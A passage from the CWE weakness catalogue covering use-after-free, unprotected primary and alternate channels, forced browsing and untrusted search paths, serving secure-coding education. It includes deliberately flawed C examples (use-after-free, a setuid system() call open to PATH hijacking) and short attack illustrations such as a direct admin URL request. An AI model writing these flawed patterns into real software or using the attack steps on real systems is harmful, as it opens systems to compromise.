The use of previously-freed memory can have any number of adverse consequences, ranging from the corruption of valid data to the execution of arbitrary code, depending on the instantiation and timing of the flaw. The simplest way data corruption may occur involves the system's reuse of the freed memory. Use-after-free errors have two common and sometimes overlapping causes:

- Error conditions and other exceptional circumstances.
- Confusion over which part of the program is responsible for freeing the memory.

In this scenario, the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process.

If the newly allocated data chances to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	825	Expired Pointer Dereference	1523
PeerOf	V	415	Double Free	901
CanFollow	B	364	Signal Handler Race Condition	802
CanFollow	B	1265	Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls	1802
CanPrecede	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	280
CanPrecede	B	123	Write-what-where Condition	296

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	672	Operation on a Resource after Expiration or Release	1310

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Alternate Terms

Dangling pointer :

Use-After-Free :

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory *The use of previously freed memory may corrupt valid data, if the memory area in question has been allocated and used properly elsewhere.*	
Availability	DoS: Crash, Exit, or Restart *If chunk consolidation occurs after the use of previously freed data, the process may crash when invalid data is used as chunk information.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *If malicious data is entered before chunk consolidation can take place, it may be possible to take advantage of a write-what-where primitive to execute arbitrary code.*	

Potential Mitigations

Phase: Architecture and Design

Choose a language that provides automatic memory management.

Phase: Implementation

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(bad)*

```
#include <stdio.h>
#include <unistd.h>
#define BUFSIZER1 512
#define BUFSIZER2 ((BUFSIZER1/2) - 8)
int main(int argc, char **argv) {
    char *buf1R1;
    char *buf2R1;
    char *buf2R2;
    char *buf3R2;
    buf1R1 = (char *) malloc(BUFSIZER1);
    buf2R1 = (char *) malloc(BUFSIZER1);
    free(buf2R1);
    buf2R2 = (char *) malloc(BUFSIZER2);
    buf3R2 = (char *) malloc(BUFSIZER2);
    strncpy(buf2R1, argv[1], BUFSIZER1-1);
    free(buf1R1);
    free(buf2R2);
    free(buf3R2);
}
```

Example 2:

The following code illustrates a use after free error:

Example Language: C *(bad)*

```
char* ptr = (char*)malloc (SIZE);
if (err) {
    abrt = 1;
    free(ptr);
}
...
if (abrt) {
    logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

Observed Examples

Reference	Description
CVE-2010-4168	Use-after-free triggered by closing a connection while data is still being transmitted. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4168*
CVE-2010-2941	Improper allocation for invalid data leads to use-after-free. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2941*
CVE-2010-2547	certificate with a large number of Subject Alternate Names not properly handled in realloc, leading to use-after-free *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2547*
CVE-2010-1772	Timers are not disabled when a related object is deleted *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1772*
CVE-2010-1437	Access to a "dead" object that is being cleaned up *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1437*
CVE-2010-1208	object is deleted even with a non-zero reference count, and later accessed *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1208*
CVE-2010-0629	use-after-free involving request containing an invalid version number

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0629
CVE-2010-0378	unload of an object that is currently being accessed by other functionality *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0378*
CVE-2010-0302	incorrectly tracking a reference count leads to use-after-free *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0302*
CVE-2010-0249	use-after-free related to use of uninitialized memory *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0249*
CVE-2010-0050	HTML document with incorrectly-nested tags *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0050*
CVE-2009-3658	Use after free in ActiveX object by providing a malformed argument to a method *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3658*
CVE-2009-3616	use-after-free by disconnecting during data transfer, or a message containing incorrect data types *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3616*
CVE-2009-3553	disconnect during a large data transfer causes incorrect reference count, leading to use-after-free *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3553*
CVE-2009-2416	use-after-free found by fuzzing *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2416*
CVE-2009-1837	Chain: race condition (CWE-362) from improper handling of a page transition in web client while an applet is loading (CWE-368) leads to use after free (CWE-416) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1837*
CVE-2009-0749	realloc generates new buffer and pointer, but previous pointer is still retained, leading to use after free *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0749*
CVE-2010-3328	Use-after-free in web browser, probably resultant from not initializing memory. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3328*
CVE-2008-5038	use-after-free when one thread accessed memory that was freed by another thread *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5038*
CVE-2008-0077	assignment of malformed values to certain properties triggers use after free *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0077*
CVE-2006-4434	mail server does not properly handle a long header. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4434*
CVE-2010-2753	chain: integer overflow leads to use-after-free *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2753*
CVE-2006-4997	freed pointer dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4997*

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	398	7PK - Code Quality	700	1863
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	1886
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1896

Nature	Type	ID	Name	V	Page
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	C	971	SFP Secondary Cluster: Faulty Pointer Use	888	1945
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	1998
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Use After Free
CLASP			Using freed memory
CERT C Secure Coding	MEM00-C		Allocate and free memory in the same module, at the same level of abstraction
CERT C Secure Coding	MEM01-C		Store a new value in pointers immediately after free()
CERT C Secure Coding	MEM30-C	Exact	Do not access freed memory
Software Fault Patterns	SFP7		Faulty Pointer Use

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-419: Unprotected Primary Channel

Weakness ID : 419 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software uses a primary channel for administration or restricted functionality, but it does not properly protect the channel.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	923	Improper Restriction of Communication Channel to Intended Endpoints	1604

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	417	Communication Channel Errors	1865

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Do not expose administrative functionnality on the user UI.

Phase: Architecture and Design

Protect the administrative/restricted functionality with a strong authentication mechanism.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	956	SFP Secondary Cluster: Channel Attack	888	1937

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unprotected Primary Channel

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
383	Harvesting Information via API Event Monitoring

CWE-420: Unprotected Alternate Channel

Weakness ID : 420 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software protects a primary channel, but it does not use the same level of protection for an alternate channel.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	923	Improper Restriction of Communication Channel to Intended Endpoints	1604
ParentOf	B	421	Race Condition During Access to Alternate Channel	911
ParentOf	V	422	Unprotected Windows Messaging Channel ('Shatter')	912
PeerOf	B	288	Authentication Bypass Using an Alternate Path or Channel	636

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	417	Communication Channel Errors	1865

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Identify all alternate channels and use the same protection mechanisms that are used for the primary channels.

Observed Examples

Reference	Description
CVE-2002-0567	DB server assumes that local clients have performed authentication, allowing attacker to directly connect to a process to load libraries and execute commands; a socket interface also exists (another alternate channel), so attack can be remote. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0567*
CVE-2002-1578	Product does not restrict access to underlying database, so attacker can bypass restrictions by directly querying the database. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1578*
CVE-2003-1035	User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1035*
CVE-2002-1863	FTP service can not be disabled even when other access controls would require it. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1863*
CVE-2002-0066	Windows named pipe created without authentication/access control, allowing configuration modification. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0066*
CVE-2004-1461	Router management interface spawns a separate TCP connection after authentication, allowing hijacking by attacker coming from the same IP address. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1461*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	956	SFP Secondary Cluster: Channel Attack	888	1937

Notes

Relationship

This can be primary to authentication errors, and resultant from unhandled error conditions.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unprotected Alternate Channel

CWE-421: Race Condition During Access to Alternate Channel

Weakness ID : 421 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product opens an alternate channel to communicate with an authorized user, but the channel is accessible to other actors.

Extended Description

This creates a race condition that allows an attacker to access the channel before the authorized user does.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	793
ChildOf	B	420	Unprotected Alternate Channel	909

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	1869

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

Observed Examples

Reference	Description
CVE-1999-0351	FTP "Pizza Thief" vulnerability. Attacker can connect to a port that was intended for use by another client. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0351*
CVE-2003-0230	Product creates Windows named pipe during authentication that another attacker can hijack by connecting to it. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0230*

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	956	SFP Secondary Cluster: Channel Attack	888	1937

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Alternate Channel Race Condition

References

[REF-354]Blake Watts. "Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit". 2002 April. < http://www.blakewatts.com/namedpipepaper.html >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-422: Unprotected Windows Messaging Channel ('Shatter')

Weakness ID : 422 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not properly verify the source of a message in the Windows Messaging System while running at elevated privileges, creating an alternate channel through which an attacker can directly send a message to the product.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	360	Trust of System Event Data	792
ChildOf	B	420	Unprotected Alternate Channel	909

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Always verify and authenticate the source of the message.

Observed Examples

Reference	Description
CVE-2002-0971	Bypass GUI and access restricted dialog box. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0971*
CVE-2002-1230	Gain privileges via Windows message. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1230*
CVE-2003-0350	A control allows a change to a pointer for a callback function using Windows message. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0350*
CVE-2003-0908	Product launches Help functionality while running with raised privileges, allowing command execution using Windows message to access "open file" dialog. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0908*
CVE-2004-0213	Attacker uses Shatter attack to bypass GUI-enforced protection for CVE-2003-0908. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0213*
CVE-2004-0207	User can call certain API functions to modify certain properties of privileged programs. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0207*

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	953	SFP Secondary Cluster: Missing Endpoint Authentication	888	1937

Notes

Relationship

Overlaps privilege errors and UI errors.

Research Gap

Possibly under-reported, probably under-studied. It is suspected that a number of publicized vulnerabilities that involve local privilege escalation on Windows systems may be related to Shatter attacks, but they are not labeled as such. Alternate channel attacks likely exist in other operating systems and messaging models, e.g. in privileged X Windows applications, but examples are not readily available.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unprotected Windows Messaging Channel ('Shatter')

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP30		Missing endpoint authentication

References

[REF-402]Paget. "Exploiting design flaws in the Win32 API for privilege escalation. Or... Shatter Attacks - How to break Windows". 2002 August. < http://web.archive.org/web/20060115174629/ http://security.tombom.co.uk/shatter.html >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-424: Improper Protection of Alternate Path

Weakness ID : 424 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
ChildOf	C	638	Not Using Complete Mediation	1249
ParentOf	B	425	Direct Request ('Forced Browsing')	915

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

Deploy different layers of protection to implement security in depth.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	945	SFP Secondary Cluster: Insecure Resource Access	888	1933

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Alternate Path Errors
Software Fault Patterns	SFP35		Insecure resource access

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
127	Directory Indexing
554	Functionality Bypass

CWE-425: Direct Request ('Forced Browsing')

Weakness ID : 425 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files.

Extended Description

Web applications susceptible to direct request attacks often make the false assumption that such resources can only be reached through a given navigation path and so only apply authorization at certain points in the path.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	288	Authentication Bypass Using an Alternate Path or Channel	636
ChildOf	C	424	Improper Protection of Alternate Path	914
ChildOf	C	862	Missing Authorization	1567
PeerOf	B	288	Authentication Bypass Using an Alternate Path or Channel	636
CanPrecede	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	217
CanPrecede	B	471	Modification of Assumed-Immutable Data (MAID)	999

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	862	Missing Authorization	1567

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2013
MemberOf	C	417	Communication Channel Errors	1865

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Alternate Terms

forced browsing : The "forced browsing" term could be misinterpreted to include weaknesses such as CSRF or XSS, so its use is discouraged.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	
Availability	Execute Unauthorized Code or Commands	
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Apply appropriate access control authorizations for each access to all restricted URLs, scripts or files.

Phase: Architecture and Design

Consider using MVC based frameworks such as Struts.

Demonstrative Examples

Example 1:

If forced browsing is possible, an attacker may be able to directly access a sensitive page by entering a URL similar to the following.

Example Language: JSP *(attack)*

```
http://somesite.com/someapplication/admin.jsp
```

Observed Examples

Reference	Description
CVE-2004-2144	Bypass authentication via direct request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2144*
CVE-2005-1892	Infinite loop or infoleak triggered by direct requests. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1892*
CVE-2004-2257	Bypass auth/auth via direct request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2257*
CVE-2005-1688	Direct request leads to infoleak by error. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1688*
CVE-2005-1697	Direct request leads to infoleak by error. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1697*
CVE-2005-1698	Direct request leads to infoleak by error. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1698*
CVE-2005-1685	Authentication bypass via direct request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1685*
CVE-2005-1827	Authentication bypass via direct request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1827*
CVE-2005-1654	Authorization bypass using direct request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1654*

Reference	Description
CVE-2005-1668	Access privileged functionality using direct request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1668*
CVE-2002-1798	Upload arbitrary files via direct request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1798*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access	629	1874
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1874
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1875
MemberOf	C	953	SFP Secondary Cluster: Missing Endpoint Authentication	888	1937
MemberOf	C	1031	OWASP Top Ten 2017 Category A5 - Broken Access Control	1026	1977

Notes

Relationship

Overlaps Modification of Assumed-Immutable Data (MAID), authorization errors, container errors; often primary to other weaknesses such as XSS and SQL injection.

Theoretical

"Forced browsing" is a step-based manipulation involving the omission of one or more steps, whose order is assumed to be immutable. The application does not verify that the first step was performed successfully before the second step. The consequence is typically "authentication bypass" or "path disclosure," although it can be primary to all kinds of weaknesses, especially in languages such as PHP, which allow external modification of assumed-immutable variables.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Direct Request aka 'Forced Browsing'
OWASP Top Ten 2007	A10	CWE More Specific	Failure to Restrict URL Access
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
WASC	34		Predictable Resource Location
Software Fault Patterns	SFP30		Missing endpoint authentication

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
87	Forceful Browsing
127	Directory Indexing

CWE-426: Untrusted Search Path

Weakness ID : 426 **Status:** Stable
Structure : Simple
Abstraction : Base

Description

The application searches for critical resources using an externally-supplied search path that can point to resources that are not under the application's direct control.

Extended Description

This might allow attackers to execute their own programs, access unauthorized data files, or modify configuration in unexpected ways. If the application uses a search path to locate critical resources such as programs, then an attacker could modify that search path to point to a malicious program, which the targeted application would then execute. The problem extends to any type of critical resource that the application trusts.

Some of the most common variants of untrusted search path are:

- In various UNIX and Linux-based systems, the PATH environment variable may be consulted to locate executable programs, and LD_PRELOAD may be used to locate a separate library.
- In various Microsoft-based systems, the PATH environment variable is consulted to locate a DLL, if the DLL is not found in other paths that appear earlier in the search order.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	673	External Influence of Sphere Definition	1313
ChildOf	C	642	External Control of Critical State Data	1257
PeerOf	B	427	Uncontrolled Search Path Element	922
PeerOf	B	428	Unquoted Search Path or Element	927

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1219	File Handling Issues	2017

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Alternate Terms

Untrusted Path :

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Access Control	Gain Privileges or Assume Identity Execute Unauthorized Code or Commands *There is the potential for arbitrary code execution with privileges of the vulnerable program.*	
Availability	DoS: Crash, Exit, or Restart *The program could be redirected to the wrong files, potentially triggering a crash or hang when the targeted file is too large or does not have the expected format.*	
Confidentiality	Read Files or Directories *The program could send the output of unauthorized files to the attacker.*	

Detection Methods

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and look for library functions and system calls that suggest when a search path is being used. One pattern is when the program performs multiple accesses of the same file but in different directories, with repeated failures until the proper filename is found. Library calls such as getenv() or their equivalent can be checked to see if any path-related variables are being accessed.

Automated Static Analysis

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Manual Analysis

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.

Phase: Implementation

When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating

the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.

Phase: Implementation

Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD_LIBRARY_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.

Phase: Implementation

Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory.

Phase: Implementation

Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, system() in C does not require a full path since the shell can take care of it, while execl() and execv() require a full path.

Demonstrative Examples

Example 1:

This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with setuid privileges in order to bypass the permissions check by the operating system.

Example Language: C *(bad)*

```
#define DIR "/restricted/directory"
char cmd[500];
sprintf(cmd, "ls -l %480s", DIR);
/* Raise privileges to those needed for accessing DIR. */
RaisePrivileges(...);
system(cmd);
DropPrivileges(...);
...
```

This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can't control. The attacker can only see the contents for DIR, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.

However, because the program does not modify the PATH environment variable, the following attack would work:

Example Language: *(attack)*

- *The user sets the PATH to reference a directory under the attacker's control, such as "/my/dir/".*
